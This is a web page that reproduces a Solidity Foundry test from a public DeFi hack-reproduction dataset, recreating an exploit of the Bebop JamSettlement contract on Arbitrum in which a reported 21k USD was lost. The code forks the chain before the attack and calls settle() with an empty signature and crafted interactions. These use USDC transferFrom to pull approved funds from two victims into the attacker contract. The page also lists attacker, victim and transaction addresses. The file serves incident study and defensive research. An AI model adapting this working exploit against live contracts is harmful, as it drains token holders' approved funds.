Public reproduction file
src/test/2025-08/Bebop_dex_exp.sol
Public reproduction file for dataset entry Bebop.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 21k USD8// Attacker : 0x59537353248d0b12c7fcca56a4e420ffec4abc919// Attack Contract : 0x091101b0f31833c03dddd5b6411e62a212d0587510// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea611// Attack Tx : https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code16// @Analysis17// Post-mortem : https://x.com/SuplabsYi/status/195523017336596112818// Twitter Guy : https://x.com/SuplabsYi/status/195523017336596112819// Hacking God : https://x.com/SuplabsYi/status/195523017336596112820pragma solidity ^0.8.0;22struct JamOrder {23 address taker;24 address receiver;25 uint256 expiry;26 uint256 exclusivityDeadline;27 uint256 nonce;28 address executor;29 uint256 partnerInfo;30 address[] sellTokens;31 address[] buyTokens;32 uint256[] sellAmounts;33 uint256[] buyAmounts;34 bool usingPermit2;35}37struct JamInteraction {38 bool result;39 address to;40 uint256 value;41 bytes data;42}45contract Bebop is BaseTestWithBalanceLog {46 uint256 blocknumToForkFrom = 367586045 - 1;47 address private usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;48 IJamSettlement jamContract = IJamSettlement(0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6);51 function setUp() public {52 vm.createSelectFork("arbitrum", blocknumToForkFrom);53 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit54 fundingToken = address(usdc);56 }58 function testExploit() public balanceLog {59 // 1. Construct the JamOrder struct60 JamOrder memory order = JamOrder({61 taker: address(this),62 receiver: address(this),63 expiry: 1754987701,64 exclusivityDeadline: 0,65 nonce: 1,66 executor: address(this),67 partnerInfo: 0,68 sellTokens: new address[](0),69 buyTokens: new address[](0),70 sellAmounts: new uint256[](0),71 buyAmounts: new uint256[](0),72 usingPermit2: false73 });75 // 2. Define the signature (empty as provided)76 bytes memory signature = hex"";78 // Interaction 1 arguments79 address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;80 uint256 amount1 = 0x4ac2def8f; // 20,134,500,01582 // Interaction 2 arguments83 address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;84 uint256 amount2 = 0xf4240; // 1,000,00086 // This 'to' address is the same in both interactions87 address sharedToAddress = address(this);89 // AFTER: Dynamically encode the call using the interface90 bytes memory interaction1Data = abi.encodeCall(91 IERC20.transferFrom, // The function pointer92 (fromAddress1, sharedToAddress, amount1) // The arguments as a tuple93 );95 bytes memory interaction2Data = abi.encodeCall(96 IERC20.transferFrom, // The function pointer97 (fromAddress2, sharedToAddress, amount2) // The arguments as a tuple98 );100 // 3. Construct the JamInteraction.Data array101 JamInteraction[] memory interactions = new JamInteraction[](2);103 interactions[0] = JamInteraction({104 result: false,105 to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,106 value: 0, 107 data: interaction1Data108 });110 interactions[1] = JamInteraction({111 result: false,112 to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,113 value: 0, 114 data: interaction2Data115 });117 // 4. Define the hooksData (empty as provided)118 bytes memory hooksData = hex"";120 // 5. Define the balanceRecipient121 address balanceRecipient = address(this);123 jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);125 }126}128interface IJamSettlement {129 function settle(130 JamOrder calldata order,131 bytes calldata signature,132 JamInteraction[] calldata interactions,133 bytes memory hooksData,134 address balanceRecipient135 ) external payable;136}Analysis
Dataset entry
Public Foundry test for “Bebop” (2025-08-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x59537353248d0b12c7fcca56a4e420ffec4abc91
- Attack Contract
0x091101b0f31833c03dddd5b6411e62a212d05875
- Vulnerable Contract
0xbeb0b0623f66be8ce162ebdfa2ec543a522f4ea6
- Attack Tx
0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d
File record
- Name
- Bebop
- Path
- src/test/2025-08/Bebop_dex_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e509047a5255ee99eb70fafbbe84e76d1d12ac59
- Language
- Solidity
- Size
- 136 lines
- Date
- 2025-08-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/Bebop_dex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e509047a5255ee99eb70fafbbe84e76d1d12ac59, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.